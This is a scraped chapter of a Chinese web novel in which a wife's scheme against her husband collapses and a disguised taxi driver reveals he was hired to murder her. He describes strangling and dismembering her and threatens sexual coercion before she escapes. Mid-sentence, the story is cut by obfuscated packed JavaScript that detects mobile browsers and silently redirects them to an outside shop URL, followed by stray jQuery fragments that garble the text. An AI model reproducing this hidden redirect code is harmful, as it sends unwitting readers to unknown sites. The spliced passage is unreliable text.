文趣网 > 其他小说 > 菲切尔之鸟 > 23. 杀机
    死一般的沉默。

    我强迫自己冷静下来,开始思考对策。

    季沉屿问我:“重要吗?”

    又问我:“你觉得出轨是一件很严重的事?”

    接着他说:“无所谓,我已经不爱你了。”

    ……

    从头到尾,他都没有确切地承认过,自己是否出轨。

    但某种意义上,他说得对,这不重要,事实怎样根本不重要。

    重要的是,我该怎样做。

    一直以来,我被他百依百顺的态度麻醉着。

    他温柔体贴、细致入微,是一个优秀的好爱人、好丈夫。我生活在他的庇护下,无忧无虑,一切都像一个完美的梦境。

    而现在,这个梦清醒了。

    事情到了这个地步,我已经丧失了先发制人的主动权。

    我用不光彩的手段获取他的行程,带着记者和媒体意图捉奸,妄图侵吞他的财产,让他身败名裂,然后彻底离开他。

    这些,都是我毫无争议的罪证。

    同样,我没有顾及捉奸的后果,没有顾及养育我长大的季家父母,没有顾及小宝的成长环境,这也是无可抵赖的事实。

    我给他设局,却被他反摆一道。

    放在棋牌游戏桌上,这叫愿赌服输。

    最坏的结果,季沉屿可能会和我离婚。

    没有谁会允许妻子这样无底线地怀疑自己,他一定对我的行为很愤怒。

    以他的手段,离婚后,他可以让我拿不到一分财产。

    乃至于我的人身安全、生命健康,可能都要看他的心情。

    养女的身份同样无法为我带来助力。

    季家从未真正接纳过我。尽管我被他们从小抚养,名为“大小姐”,千娇万宠着长大,实则身份户口都在季家老管家的名下。

    一旦出现变故,从法律上来说,我和季家没有任何关系。

    离开了我,季沉屿仍然是企业CEO,手握巨额家产,可以继续潇洒生活。甚至可以迎娶沐珂珂,或是其他某个真爱。

    可我呢?离开他以后,我会怎么样?

    这是我不得不考虑的现实问题。

    所以,我不会服输,也绝不可能服输。

    下一秒,我仰起头,立刻换上一副可怜的表情,落下两行泪:“我错了,我不该违背约定,不该怀疑你,以后我不会这样了。你能原谅我的,对吧?”

    他没有表情,也没有回答。

    于是我不停地说下去,说了很多挽回的话,反复检讨自己,对每一个人道歉。

    嘴巴很干,我的嗓音在不停的言语中变得沙哑,淡淡的铁锈味弥漫在喉咙里。

    他始终居高临下地欣赏我的表演,一言不发。

    直到最后,我累得一丝力气都不剩,哭得呼吸都有些困难。

    他才慢条斯理地开口:“别装了,季欢,楚楚可怜的人设不适合你。你是什么样的人,我们彼此都清楚。”

    是的,他太了解我了,连这一刻的心思都被全然看穿。

    于是,我知道,我失败了。

    我颓然地跌坐在地,崩溃地捂着脸大哭,像个失去了唯一方向的孩子。

    季沉屿大概被我哭烦了,一言不发,转身离开酒店房间。

    我立刻站起来,连滚带爬地追了上去。

    或许这就是别人眼中光鲜亮丽的贵妇生活,选择了这条路,金玉其外败絮其中。无论有多少阴暗和苦涩,都只能自己咽下去。

    她们都说,季老板待我好,好得让人羡慕。

    当时的我只觉得本该如此,从未想过,我与季沉屿也会发展到今天。

    我开始后悔了,从没像现在这样后悔过。

    早知道会这样,就不该去找什么真相。沐珂珂是死是活,为什么求救,和我有什么关系?

    季沉屿是否出轨,是否爱上别的女人,又跟我有什么关系?

    我最初的目的,也只是留在季家,坐稳我季太太的位置而已。

    就那样无知地生活下去好了,装聋作哑,起码幸福安逸。

    哪怕最后迎接我的是深渊,至少在它来临之前,我仍然能维持原有的生活。

    追出宾馆房间,我正好看见季沉屿拉开车门,启动车辆。

    他没有等我,漆黑的汽车闪着车灯,从我身边经过。

    我急忙叫了一辆出租车,跟在他的车后。

    我了解他的性格,一旦敲定了什么想法,其他人很难再改变他的想法。

    所以,我必须立刻找他解释清楚,不能给他独自思考的时机。

    如果现在不把事情解决,等他自己做好决定,到了那时我再说什么都没用了。

    这是我最后挽回的机会。

    出租车里很闷,司机戴着帽子和口罩,看不清楚长相。

    我说希望开一点车窗透气,但他没有理我,自顾自地开车。

    我按下车窗的按钮,贴着防窥膜的灰暗车窗纹丝不动。

    季沉屿的车在前方,离我很远,甚至越来越远,直到再也看不见车的影子。

    出租车没有走上任何一条我熟悉的路,而是拐向了荒凉的小径。

    天色越来越暗,逐渐看不清周围的状况。

    我意识到不对劲,打开手环想报警,却发现这里根本没有信号。

    四周是低矮的村落,半空中飞过不知名的鸟类,发出嘶哑的鸣叫。

    “停车。”我命令道。

    司机没有停下,反而拐向另一条更偏僻的小路。

    “我说停车!”我喊了一声。

    这次司机终于有了反应,车辆渐渐减速,慢慢停了下来。

    我想,大概碰到宰客事件了。

    这里荒郊野岭,打不到第二辆车,如果他不把我送回去,我没办法在这里过夜。

    所以他就可以肆意加价,敲诈我一笔钱财。

    到这里,我还不算慌乱。

    因为我暂时还不缺钱,他要多少,立刻就能从银行卡里转给他。我还可以承诺,等他把我安全送回去,再加赠一笔尾款。

    这样对于他来说,风险也比较小,不至于发展成绑架一类的风险更大的恶性案件。

    然而,当车辆挺稳后,司机没有向我索要钱财。

    他转头面向我,慢慢摘下帽子和口罩,露出一张熟悉的脸。

    我辨认片刻,认出来,这似乎是跟我有一面之缘的Z先生。

    我的心脏嗵嗵狂跳起来,这意味着,眼前并不是一场偶然的见财起意的普通意外,而是有预谋的陷阱。

    深深地呼吸了几次,我尽量保持冷静,思考着开口:“嗯,好久不见,Z先生,最近怎么样?”

    “季太太,到了现在的地步,你还在想着和我打招呼吗?”Z先生勾起唇角,凑近了一些。

    我紧盯着他的眼睛:“我不明白你在说什么。你用假的证据欺骗我这件事,我不会追究,可以当做从未发生过。”

    Z先生却竖起一根手指,摇了几下:“当然与这无关。天真的季太太,你还没有发现吗?那些证据,原本就是季老板要我交给你的,目的就是引你上钩啊。”

    他随后叹了口气:“唉,真是麻烦,有人又给了我一笔钱,要我做一些事。”

    我强装镇定:“做什么事?绑架我?他给你多少钱,我也可以给你。”

    “和钱没关系。”他微笑起来:“最重要的是,我也很喜欢这个交易。”

    他勾了勾手,示意我附耳过去。

    潮湿温热的呼吸吹来,他刻意压低的嗓音,让我背后渗出一层冷汗。

    “杀你。”

    他慢慢地说着自己的计划:“可以用我后备箱的麻绳,勒住你的脖子,等到你窒息。然后用刀子,在这里、这里、还有这里切下去,分割成一

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17688108|207067||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    块一块,最后投喂给山上的野狗。天衣无缝,毫无踪迹。”

    我的喉咙仿佛被什么东西卡住,用尽力气才挤出声音:“……我失踪了,小宝会察觉。”

    Z先生毫不在意:“季老板会告诉他,他的妈妈出国了,和野男人跑了,不要他们父子了。一个孩子而已,很好骗。”

    我的牙齿开始打颤:“还有张太太、陈太太、赵太太,和我一起打牌的朋友。我在他们面前露过面,突然消失,不是那么好糊弄的。”

    “季太太,你真的以为,她们会在乎你吗?”

    Z先生伸出手,帮我把脸颊的发丝别到耳后:“真是蠢得可爱。你会认识她们,是因为你的丈夫季老板,和她们的丈夫有商业往来。你们的友情靠男人维系,如果有哪位老板离婚另娶,你会在意吗?”

    我的心一点点沉下去。

    手指悄然握住车把手,我猛地拉开,却发现车门早已上了锁。

    我开始绞尽脑汁地拖延时间:“你在季家借宿的那天,我去过你的房间。”

    “是的。”他没有否认。

    “我的精神疾病,让我的认知可能有一些偏差。所以,那不是什么娃娃,是尸体?你一直在替他做这些脏事?”

    “知道得越多,死得越快啊,季太太。”

    Z先生歪着头,饶有兴致地看着我,突然说:“不过在杀你之前,我们好像有足够的时间,做一些其他的……更浪漫的事。”

    听懂他话里的含义,我不禁汗毛倒竖,不动声色地拉远距离:“你别过来。”

    “啊,让我想想。”Z先生像是在认真思考:“别误会,我可没有要强迫你的意思。但我愿意给你一个机会,如果接下来的事让我满意的话,说不定可以留你一命。”

    我扯唇冷笑:“你的雇主会答应?”

    Z先生用手托着脸:“我让他把你送给我,怎么样?从此以后你做我的狗,每天服侍我,被我踩在脚下,换取苟活偷生,你愿不愿意?”

    我直视着他,一字一顿:“你做梦!”

    右手止不住地颤抖,那里握着一只从车座下找到的啤酒瓶。

    就在Z先生靠过来的刹那,我使出了毕生的力气,全部汇聚在酒瓶,趁他毫无防备,飞快地掼上他的头!

    “哗啦”一声响。

    玻璃碎片掉了满车。

    混乱之中,我竟然还有力气思考。

    是季沉屿要对我下手吗?前一时间还在吵架,后一时间出了房门,就立刻派杀手解决我,一定要这么着急?

    不,所谓的雇主,不一定就是季沉屿。也可能是假借他名义的其他人,他的某个真爱?沐珂珂?或是另外哪个女人?

    Z先生的额头开始流血,他伸手抹了一把血迹,却没有丧失行动能力,反而愈加暴躁地伸手抓我:“季太太,你最好还是配合一点,我不想用太强硬的手段。”

    我疯狂地推开他,从前排中间的缝隙挤到了车后座,然后开始拼命砸车窗。

    记忆里,好像有熟悉的一幕,渐渐开始复苏。

    是什么时候,我也曾这样绝望地砸着车窗,却白白浪费力气,毫无作用。

    但这一次,或许是命不该绝。

    车窗裂开几道缝隙,我奋力地向外推,玻璃碎片噼里啪啦地掉在外面。

    尖锐的边缘割伤了我的手臂,我毫无知觉。像一只即将飞出牢笼的鸟,又像一个快从产道出生的婴儿,以一种难以想象的姿势,从车窗钻了出来。

    身上伤口很多,每一处都在流血。

    我一瘸一拐地往前跑,速度不快,但不知道为什么,Z先生没有追上来。

    但体力流失得太严重,没走几步,我就扑倒在了路边,眼前一片漆黑。

    最后,模糊的视野中,似乎有人路过。

    那身影很熟悉,熟悉到我竟然不清楚,是该如释重负,还是该彻底绝望。